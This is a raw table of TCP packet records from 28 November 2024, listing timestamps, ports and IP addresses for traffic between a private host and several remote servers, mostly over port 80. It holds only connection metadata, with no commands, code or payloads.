Nov 28, 2024 17:24:44.592396975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.592485905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.592506886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.592623949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.593086958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.593151093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.593432903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.593796015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.593946934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.594063997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.594527960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.594652891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.594733000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.595189095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.595307112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.595370054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.595406055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.595942974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.596009016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.596293926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.596647024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.596693993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.596718073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.597146988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.597368956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.597570896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.597590923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.597647905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.647649050 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.647877932 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.647979975 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.652628899 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.652628899 CET	49867	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.652651072 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.652661085 CET	443	49867	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.658662081 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.658696890 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.658778906 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.659864902 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.659876108 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.735791922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.787468910 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.787534952 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.787868977 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.788252115 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.788252115 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.788269043 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.788280010 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.792274952 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.792331934 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.792521000 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.792678118 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.792697906 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.862709999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.888576984 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.888650894 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.888802052 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.893227100 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.893297911 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.893510103 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.895873070 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.895873070 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.895896912 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.895905972 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.897548914 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.897550106 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.897567034 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.897578001 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.903335094 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.903376102 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.903506994 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.906656027 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.906677008 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.909236908 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.909260988 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.910818100 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.911159039 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.911171913 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.954735041 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:44.958643913 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:44.958658934 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:44.959788084 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:44.959939003 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:44.972459078 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:44.972568989 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:44.973084927 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.015326023 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.023310900 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.023329973 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.070364952 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.189492941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.189532042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.189568043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.189599991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.189620018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.189716101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.189717054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.189754009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.190399885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.190464973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.190494061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.190540075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.191102982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.191194057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.191250086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.191570997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.191621065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.191622972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.191658974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.192486048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.192559004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.192704916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.192748070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.193011999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.193063974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.193100929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.193146944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.193793058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.193834066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.193900108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.193938017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.194425106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.194485903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.194529057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.194610119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.195192099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.195281029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.195306063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.195352077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.195909977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.196002960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.196006060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.196038961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.196636915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.196702957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.196710110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.196747065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.197307110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.197377920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.197396994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.197421074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.198054075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.198096037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.198185921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.198339939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.198738098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.198793888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.198798895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.198836088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.199486017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.199537039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.199570894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.199605942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.200155020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.200223923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.200284958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.200340033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.200879097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.200921059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.201194048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.201250076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.201565027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.201611996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.201630116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.201673031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.202306986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.202358007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.202471018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.202532053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.203022957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.203069925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.203142881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.203190088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.203738928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.203751087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.203784943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.204421997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.204466105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.204525948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.204585075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.205132008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.205183983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.205210924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.205267906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.205873966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.205926895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.206046104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.206093073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.206573009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.206662893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.206686974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.206727028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.207289934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.207331896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.207359076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.207427979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.208110094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.208156109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.208203077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.208730936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.208775043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.208822966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.208869934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.209429026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.209485054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.209537029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.209589958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.210130930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.210197926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.210439920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.210484982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.210875988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.210920095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.210973024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.211011887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.211662054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.211704016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.211807966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.211857080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.212349892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.212393045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.212397099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.212430954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.213064909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.213105917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.213263035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.213301897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.306185007 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.306232929 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:45.306337118 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.306703091 CET	49879	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.306715965 CET	443	49879	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:45.314831018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.314872980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.314905882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.314905882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.315165997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.315212965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.315350056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.315488100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.315898895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.315984011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.316101074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.316138983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.316610098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.316701889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.316715002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.316735983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.317339897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.317378998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.317528009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.317569017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.318037987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.318092108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.318125963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.318223953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.318732023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.318783998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.318854094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.318893909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.319473982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.319531918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.319575071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.319616079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.320182085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.320262909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.320317030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.320405006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.320923090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.320980072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.321003914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.321038961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.321599007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.321654081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.321696997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.321739912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.322365999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.322422028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.322515011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.322555065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.323208094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.323257923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.323290110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.323337078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.323962927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.323982954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.324028969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.324541092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.324595928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.324606895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.324655056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.325164080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.325217009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.325268984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.325403929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.325894117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.325948954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.325980902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.326023102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.326601028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.326654911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.326724052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.326788902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.327325106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.327378035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.327413082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.327590942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.328047991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.328100920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.328135014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.328176022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.328739882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.328787088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.328789949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.328829050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.390971899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.391050100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.391062975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.391141891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.391165972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.391206980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.391376972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.391412973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.391525984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.391566992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.392046928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.392131090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.392234087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.392321110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.392748117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.392836094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.392879009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.393485069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.393532991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.393668890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.393719912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.394196033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.394262075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.394304037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.394931078 CET	80	49813	185.215.113.206	192.168.2.6
